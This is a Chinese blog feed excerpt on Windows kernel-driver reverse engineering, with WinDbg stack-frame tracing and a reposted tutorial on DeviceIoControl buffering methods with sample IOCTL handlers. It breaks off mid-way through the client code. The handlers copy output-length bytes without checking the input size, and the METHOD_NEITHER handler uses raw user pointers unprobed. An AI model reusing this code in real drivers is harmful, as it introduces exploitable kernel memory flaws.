<p>&nbsp;<wbr> pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 获得ebp<br>&nbsp;<wbr> ret&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 返回，注意，后面为什么是8<br>&nbsp;<wbr><br>&nbsp;<wbr> 我们先看一下Entry调用MyP0处的地址：<br>&nbsp;<wbr>&nbsp;<wbr> 38 f8451536 cc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> int&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 3<br>&nbsp;<wbr>&nbsp;<wbr> 41 f8451537 e854ffffff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!MyP0 (f8451490)<br>&nbsp;<wbr>&nbsp;<wbr> 42 f845153c 8b45f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp-8]<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> 显然调用MyP0后，要运行f845153c的代码。然后我们到函数内部看<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 中ebp的内容，是不是f845153c<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr> 进入windbg:<br>//////////////////////////<br>&nbsp;<wbr> kd&gt; t<br>bz3!DriverEntry+0x17:<br>f8451537 e854ffffff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!MyP0 (f8451490)<br>kd&gt; t<br>bz3!MyP0:<br>f8451490 8bff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edi,edi<br>kd&gt; p<br>bz3!MyP0+0x5:<br>f8451495 68701545f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz3! ?? ::FNODOBFM::`string' (f8451570)<br>kd&gt; dd ebp<br>f8282c6c&nbsp;<wbr> f8282c7c f845153c 00000005 00000008<br>//////////////////<br>呵呵，没错，f845153c,5,8,都是要用的。<br>下面两个地址也应该出现在下面两个函数的ebp中,不然程序返回后不知道继续运行哪里的代码。<br>&nbsp;<wbr>f8451545 f8451552<br>&nbsp;<wbr><br>&nbsp;<wbr>顺便看下类似下面命令是什么意思<br>&nbsp;<wbr>mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+8]<br>&nbsp;<wbr><br>我们要知道 ebp+8，要先看下ebp:<br>&nbsp;<wbr><br>kd&gt; dd ebp<br>f8282c64：&nbsp;<wbr> f8282c7c f8451552 00000005 00000008</p>
<p>可以看到，ebp+4就是f8451552，返回后继续运行的地址，ebp+8当然是5了,ebp+12(哦，要16进制:ebp+c)是8。<br>那我们直接看下dd ebp+8：<br>kd&gt; dd ebp+8<br>f8282c6c:&nbsp;<wbr>&nbsp;<wbr> 00000005 00000008 00000005 00000008<br>kd&gt; dd ebp+c<br>f8282c70：&nbsp;<wbr> 00000008 00000005 00000008 f8282d4c</p>
<p>应该没疑问了。<br>&nbsp;<wbr><br>//////////////<br>以后看汇编代码的时候，可以忽略：<br>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 保存返回地址<br>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 设置新的ebp指针，指向栈顶<br>中间是具体实现<br>&nbsp;<wbr> pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 获得返回地址<br>&nbsp;<wbr> ret&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 返回</p>
<p>只看这些代码中间的代码就可以了，以后直接贴这些代码中间的实现。</p>
<img src ="http://www.cppblog.com/iniwf/aggbug/112922.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2010-04-18 19:02 <a href="http://www.cppblog.com/iniwf/archive/2010/04/18/112922.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>内核驱动反编译笔记1</title><link>http://www.cppblog.com/iniwf/archive/2010/04/18/112921.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sun, 18 Apr 2010 10:53:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2010/04/18/112921.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/112921.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2010/04/18/112921.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/112921.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/112921.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自：http://blog.sina.com.cn/s/blog_541329b40100eyrt.html内核驱动反编译笔记1&nbsp;所用程序:bz1,bz2内核驱动反编译后，看看是什么样子，函数调用，全局局部变量，各种循环，数组，数据结构，各种算法都什么样子。没什么捷径，一个个编写了反编译比对吧。比对么，先要有个最简单的程序来做标本，所以以下有一个最原始最简单的程序，和一个添加了自定...&nbsp;&nbsp;<a href='http://www.cppblog.com/iniwf/archive/2010/04/18/112921.html'>阅读全文</a><img src ="http://www.cppblog.com/iniwf/aggbug/112921.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2010-04-18 18:53 <a href="http://www.cppblog.com/iniwf/archive/2010/04/18/112921.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>驱动和应用层的三种通信方式</title><link>http://www.cppblog.com/iniwf/archive/2010/04/07/111829.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Wed, 07 Apr 2010 02:08:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2010/04/07/111829.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/111829.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2010/04/07/111829.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/111829.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/111829.html</trackback:ping><description><![CDATA[转自：<a href="http://bbs.pediy.com/showthread.php?t=57666">http://bbs.pediy.com/showthread.php?t=57666</a><br><font color=#333333>标 题:</font><font color=#000000> 【原创】【成果3.5】驱动和应用层的三种通信方式</font><font color=#666666><br><font color=#333333>作 者:</font> <font color=#000000>sislcb</font><br><font color=#333333>时 间:</font> 2008-01-04,11:57:54<br><font color=#333333>链 接:</font> http://bbs.pediy.com/showthread.php?t=57666<br></font><br>驱动程序和客户应用程序经常需要进行数据交换，但我们知道驱动程序和客户应用程序可能不在同一个地址空间，因此操作系统必须解决两者之间的数据交换。<br>驱动层和应用层通信，主要是靠DeviceIoControl函数，下面是该函数的原型：<br>BOOL&nbsp;DeviceIoControl&nbsp;(&nbsp;<br>HANDLE&nbsp;hDevice,&nbsp;//&nbsp;设备句柄&nbsp;<br>DWORD&nbsp;dwIoControlCode,&nbsp;//&nbsp;IOCTL请求操作代码&nbsp;<br>LPVOID&nbsp;lpInBuffer,&nbsp;//&nbsp;输入缓冲区地址&nbsp;<br>DWORD&nbsp;nInBufferSize,&nbsp;//&nbsp;输入缓冲区大小&nbsp;<br>LPVOID&nbsp;lpOutBuffer,&nbsp;//&nbsp;输出缓冲区地址&nbsp;<br>DWORD&nbsp;nOutBufferSize,&nbsp;//&nbsp;输出缓冲区大小&nbsp;<br>LPDWORD&nbsp;lpBytesReturned,&nbsp;//&nbsp;存放返回字节数的指针&nbsp;<br>LPOVERLAPPED&nbsp;lpOverlapped&nbsp;//&nbsp;用于同步操作的Overlapped结构体指针&nbsp;<br>);<br><br>dwIoControlCode<br>要进行操作的控制码。驱动程序可以通过CTL_CODE宏来组合定义一个控制码，并在IRP_MJ_DEVICE_CONTROL的实现中进行控制码的操作。在驱动层，irpStack-&gt;Parameters.DeviceIoControl.IoControlCode表示了这个控制码。<br><br>IOCTL请求有四种缓冲策略，下面一一介绍。&nbsp;<br>1、&nbsp;输入输出缓冲I/O(METHOD_BUFFERED)<br>2、&nbsp;直接输入缓冲输出I/O(METHOD_IN_DIRECT)<br>3、&nbsp;缓冲输入直接输出I/O(METHOD_OUT_DIRECT)<br>4、&nbsp;上面三种方法都不是(METHOD_NEITHER)<br><br>为了对这些类型更详细的描述，请看msdn上的解释，我抄录如下：<br><br><strong>"缓冲"方法</strong>(METHOD_BUFFERED)<br>备注：在下面的讨论中，"输入"表示数据从用户模式的应用程序到驱动程序，"输出"表示数据从驱动程序到应用程序。<br><br>对于读取请求，I/O&nbsp;管理器分配一个与用户模式的缓冲区大小相同的系统缓冲区。IRP&nbsp;中的&nbsp;SystemBuffer&nbsp;字段包含系统地址。UserBuffer&nbsp;字段包含初始的用户缓冲区地址。当完成请求时，I/O&nbsp;管理器将驱动程序已经提供的数据从系统缓冲区复制到用户缓冲区。对于写入请求，会分配一个系统缓冲区并将&nbsp;SystemBuffer&nbsp;设置为地址。用户缓冲区的内容会被复制到系统缓冲区，但是不设置&nbsp;UserBuffer。对于&nbsp;IOCTL&nbsp;请求，会分配一个容量大小足以包含输入缓冲区或输出缓冲区的系统缓冲区，并将&nbsp;SystemBuffer&nbsp;设置为分配的缓冲区地址。输入缓冲区中的数据复制到系统缓冲区。UserBuffer&nbsp;字段设置为用户模式输出缓冲区地址。内核模式驱动程序应当只使用系统缓冲区，且不应使用&nbsp;UserBuffer&nbsp;中存储的地址。<br><br>对于&nbsp;IOCTL，驱动程序应当从系统缓冲区获取输入并将输出写入到系统缓冲区。当完成请求时，I/O&nbsp;系统将输出数据从系统缓冲区复制到用户缓冲区。<br><br><strong>"直接"方法</strong>(METHOD_IN/OUT_DIRECT)<br>对于读取和写入请求，用户模式缓冲区会被锁定，并且会创建一个内存描述符列表&nbsp;(MDL)。MDL&nbsp;地址会存储在&nbsp;IRP&nbsp;的&nbsp;MdlAddress&nbsp;字段中。SystemBuffer&nbsp;和&nbsp;UserBuffer&nbsp;均没有任何含义。但是，驱动程序不应当更改这些字段的值。<br><br>对于&nbsp;IOCTL&nbsp;请求，如果在&nbsp;METHOD_IN_DIRECT&nbsp;和&nbsp;METHOD_OUT_DIRECT&nbsp;中同时有一个输出缓冲区，则分配一个系统缓冲区（SystemBuffer&nbsp;又有了地址）并将输入数据复制到其中。如果有一个输出缓冲区，且它被锁定，则会创建&nbsp;MDL&nbsp;并设置&nbsp;MdlAddress。UserBuffer&nbsp;字段没有任何含义。<br><br><strong>"两者都不"方法</strong>(METHOD_NEITHER)<br>对于读取和写入请求，UserBuffer&nbsp;字段被设置为指向初始的用户缓冲区。不执行任何其他操作。SystemAddress&nbsp;和&nbsp;MdlAddress&nbsp;没有任何含义。对于&nbsp;IOCTL&nbsp;请求，I/O&nbsp;管理器将&nbsp;UserBuffer&nbsp;设置为初始的用户输出缓冲区，而且，它将当前&nbsp;I/O&nbsp;栈位置的&nbsp;Parameters.DeviceIoControl.Type3InputBuffer&nbsp;设置为用户输入缓冲区。利用该&nbsp;I/O&nbsp;方法，由驱动程序来确定如何处理缓冲区：分配系统缓冲区或创建&nbsp;MDL。<br><br>通常，驱动程序在访问用户数据时不应当将&nbsp;UserBuffer&nbsp;字段用作地址，即使当用户缓冲区被锁定时也是如此。这是由于在调用驱动程序时，在系统中可能看不到调用用户的地址空间。（对于该规则的一个例外是，在最高层驱动程序将&nbsp;IRP&nbsp;向下传递到较低层的驱动程序之前，它可能需要使用&nbsp;UserBuffer&nbsp;来复制数据。）如果使用"直接"或"两者都不"方法，在创建&nbsp;MDL&nbsp;之后，驱动程序可以使用&nbsp;MmGetSystemAddressForMdl&nbsp;函数来获取有效的系统地址以访问用户缓冲区。<br><br><br>在驱动层，依传输类型的不同，输入缓冲区的位置亦不同，见下表。<br>传输类型&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;位置<br>METHOD_IN_DIRECT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irp-&gt;AssociatedIrp.SystemBuffer<br>METHOD_OUT_DIRECT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irp-&gt;AssociatedIrp.SystemBuffer<br>METHOD_BUFFERED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irp-&gt;AssociatedIrp.SystemBuffer<br>METHOD_NEITHER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irpStack-&gt;Parameters.DeviceIoControl.Type3InputBuffer<br><br>在驱动层，依传输类型的不同，输出缓冲区的位置亦不同，见下表。<br>传输类型&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;位置<br>METHOD_IN_DIRECT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irp-&gt;MdlAddress<br>METHOD_OUT_DIRECT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irp-&gt;MdlAddress<br>METHOD_BUFFERED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irp-&gt;AssociatedIrp.SystemBuffer<br>METHOD_NEITHER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irp-&gt;UserBuffer<br><br>所以只要确定了传输方式后，就可以根据各自的位置来读取和写入数据，从而实现应用层和驱动的通信。<br>下面看驱动层对ioctl控制码的处理代码：<br><br>
<div style="MARGIN: 5px 20px 20px">
<div style="MARGIN-BOTTOM: 2px" class=smallfont>代码:</div>
<pre style="BORDER-BOTTOM: 1px inset; TEXT-ALIGN: left; BORDER-LEFT: 1px inset; PADDING-BOTTOM: 6px; BACKGROUND-COLOR: #dedfdf; MARGIN: 0px; PADDING-LEFT: 6px; WIDTH: 850px; PADDING-RIGHT: 6px; OVERFLOW: auto; BORDER-TOP: 1px inset; BORDER-RIGHT: 1px inset; PADDING-TOP: 6px" dir=ltr>//METHOD_OUT_DIREC方式
NTSTATUS&nbsp;COMM_DirectOutIo(PIRP&nbsp;Irp,&nbsp;PIO_STACK_LOCATION&nbsp;pIoStackIrp,&nbsp;UINT&nbsp;*sizeofWrite)
{
&nbsp;&nbsp;&nbsp;&nbsp;NTSTATUS&nbsp;status&nbsp;=&nbsp;STATUS_UNSUCCESSFUL;
&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;pInputBuffer,&nbsp;pOutputBuffer;
&nbsp;&nbsp;ULONG&nbsp;&nbsp;outputLength,&nbsp;inputLength;
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("COMM_DirectOutIo\r\n");
&nbsp;&nbsp;&nbsp;&nbsp;outputLength&nbsp;=&nbsp;pIoStackIrp-&gt;Parameters.DeviceIoControl.OutputBufferLength;
&nbsp;&nbsp;&nbsp;&nbsp;inputLength&nbsp;&nbsp;=&nbsp;pIoStackIrp-&gt;Parameters.DeviceIoControl.InputBufferLength;
&nbsp;&nbsp;&nbsp;&nbsp;pInputBuffer&nbsp;=&nbsp;Irp-&gt;AssociatedIrp.SystemBuffer;
&nbsp;&nbsp;&nbsp;&nbsp;pOutputBuffer&nbsp;=&nbsp;NULL;
&nbsp;&nbsp;&nbsp;&nbsp;if(Irp-&gt;MdlAddress)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pOutputBuffer&nbsp;=&nbsp;MmGetSystemAddressForMdlSafe(Irp-&gt;MdlAddress,&nbsp;NormalPagePriority);
&nbsp;&nbsp;&nbsp;&nbsp;if(pInputBuffer&nbsp;&amp;&amp;&nbsp;pOutputBuffer)
&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("COMM_DirectOutIo&nbsp;UserModeMessage&nbsp;=&nbsp;'%s'",&nbsp;pInputBuffer);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RtlCopyMemory(pOutputBuffer,&nbsp;pInputBuffer,&nbsp;outputLength);
&nbsp;&nbsp;&nbsp;&nbsp;*sizeofWrite&nbsp;=&nbsp;outputLength;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status&nbsp;=&nbsp;STATUS_SUCCESS;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;status;
}
//&nbsp;METHOD_IN_DIRECT
NTSTATUS&nbsp;COMM_DirectInIo(PIRP&nbsp;Irp,&nbsp;PIO_STACK_LOCATION&nbsp;pIoStackIrp,&nbsp;UINT&nbsp;*sizeofWrite)
{
&nbsp;&nbsp;&nbsp;&nbsp;NTSTATUS&nbsp;status&nbsp;=&nbsp;STATUS_UNSUCCESSFUL;
&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;pInputBuffer,&nbsp;pOutputBuffer;
&nbsp;&nbsp;ULONG&nbsp;&nbsp;outputLength,&nbsp;inputLength;
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("COMM_DirectInIo\r\n");
&nbsp;&nbsp;&nbsp;&nbsp;outputLength&nbsp;=&nbsp;pIoStackIrp-&gt;Parameters.DeviceIoControl.OutputBufferLength;
&nbsp;&nbsp;&nbsp;&nbsp;inputLength&nbsp;&nbsp;=&nbsp;pIoStackIrp-&gt;Parameters.DeviceIoControl.InputBufferLength;
&nbsp;&nbsp;&nbsp;&nbsp;pInputBuffer&nbsp;=&nbsp;Irp-&gt;AssociatedIrp.SystemBuffer;
&nbsp;&nbsp;&nbsp;&nbsp;pOutputBuffer&nbsp;=&nbsp;NULL;
&nbsp;&nbsp;&nbsp;&nbsp;if(Irp-&gt;MdlAddress)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pOutputBuffer&nbsp;=&nbsp;MmGetSystemAddressForMdlSafe(Irp-&gt;MdlAddress,&nbsp;NormalPagePriority);
&nbsp;&nbsp;&nbsp;&nbsp;if(pInputBuffer&nbsp;&amp;&amp;&nbsp;pOutputBuffer)
&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("COMM_DirectInIo&nbsp;UserModeMessage&nbsp;=&nbsp;'%s'",&nbsp;pInputBuffer);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RtlCopyMemory(pOutputBuffer,&nbsp;pInputBuffer,&nbsp;outputLength);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*sizeofWrite&nbsp;=&nbsp;outputLength;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status&nbsp;=&nbsp;STATUS_SUCCESS;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;status;
}
//&nbsp;METHOD_BUFFERED
NTSTATUS&nbsp;COMM_BufferedIo(PIRP&nbsp;Irp,&nbsp;PIO_STACK_LOCATION&nbsp;pIoStackIrp,&nbsp;UINT&nbsp;*sizeofWrite)
{
&nbsp;&nbsp;&nbsp;&nbsp;NTSTATUS&nbsp;status&nbsp;=&nbsp;STATUS_UNSUCCESSFUL;
&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;pInputBuffer,&nbsp;pOutputBuffer;
&nbsp;&nbsp;ULONG&nbsp;&nbsp;outputLength,&nbsp;inputLength;
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("COMM_BufferedIo\r\n");
&nbsp;&nbsp;outputLength&nbsp;=&nbsp;pIoStackIrp-&gt;Parameters.DeviceIoControl.OutputBufferLength;
&nbsp;&nbsp;&nbsp;&nbsp;inputLength&nbsp;&nbsp;=&nbsp;pIoStackIrp-&gt;Parameters.DeviceIoControl.InputBufferLength;
&nbsp;&nbsp;&nbsp;&nbsp;pInputBuffer&nbsp;=&nbsp;Irp-&gt;AssociatedIrp.SystemBuffer;
&nbsp;&nbsp;&nbsp;&nbsp;pOutputBuffer&nbsp;=&nbsp;Irp-&gt;AssociatedIrp.SystemBuffer;
&nbsp;&nbsp;&nbsp;&nbsp;if(pInputBuffer&nbsp;&amp;&amp;&nbsp;pOutputBuffer)
&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("COMM_BufferedIo&nbsp;UserModeMessage&nbsp;=&nbsp;'%s'",&nbsp;pInputBuffer);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RtlCopyMemory(pOutputBuffer,&nbsp;pInputBuffer,&nbsp;outputLength);
&nbsp;&nbsp;&nbsp;&nbsp;*sizeofWrite&nbsp;=&nbsp;outputLength;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status&nbsp;=&nbsp;STATUS_SUCCESS;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;status;
}
//&nbsp;METHOD_NEITHER
NTSTATUS&nbsp;COMM_NeitherIo(PIRP&nbsp;Irp,&nbsp;PIO_STACK_LOCATION&nbsp;pIoStackIrp,&nbsp;UINT&nbsp;*sizeofWrite)
{
&nbsp;&nbsp;&nbsp;&nbsp;NTSTATUS&nbsp;status&nbsp;=&nbsp;STATUS_UNSUCCESSFUL;
&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;pInputBuffer,&nbsp;pOutputBuffer;
&nbsp;&nbsp;ULONG&nbsp;&nbsp;outputLength,&nbsp;inputLength;
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("COMM_NeitherIo\r\n");
&nbsp;&nbsp;outputLength&nbsp;&nbsp;=&nbsp;pIoStackIrp-&gt;Parameters.DeviceIoControl.OutputBufferLength;
&nbsp;&nbsp;&nbsp;&nbsp;inputLength&nbsp;&nbsp;&nbsp;=&nbsp;pIoStackIrp-&gt;Parameters.DeviceIoControl.InputBufferLength;
&nbsp;&nbsp;&nbsp;&nbsp;pInputBuffer&nbsp;&nbsp;=&nbsp;pIoStackIrp-&gt;Parameters.DeviceIoControl.Type3InputBuffer;
&nbsp;&nbsp;&nbsp;&nbsp;pOutputBuffer&nbsp;=&nbsp;Irp-&gt;UserBuffer;
&nbsp;&nbsp;&nbsp;&nbsp;if(pInputBuffer&nbsp;&amp;&amp;&nbsp;pOutputBuffer)
&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("COMM_NeitherIo&nbsp;UserModeMessage&nbsp;=&nbsp;'%s'",&nbsp;pInputBuffer);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RtlCopyMemory(pOutputBuffer,&nbsp;pInputBuffer,&nbsp;outputLength);
&nbsp;&nbsp;&nbsp;&nbsp;*sizeofWrite&nbsp;=&nbsp;outputLength;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status&nbsp;=&nbsp;STATUS_SUCCESS;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;status;
}
代码比较简单，都是取得输入的数据，然后把数据直接拷贝到输出，传输给应用层。
应用层的代码：
procedure&nbsp;TfrmMain.Send_Recv_Data(AInData:&nbsp;String;&nbsp;var&nbsp;AOutData:String;
&nbsp;&nbsp;IoctlCode:&nbsp;DWORD);
var
&nbsp;&nbsp;dwReturn:&nbsp;DWORD;
&nbsp;&nbsp;inData:array[0..1023]&nbsp;of&nbsp;char;
&nbsp;&nbsp;outData:array[0..1023]&nbsp;of&nbsp;char;
begin
&nbsp;&nbsp;StrPCopy(inData,&nbsp;AInData);
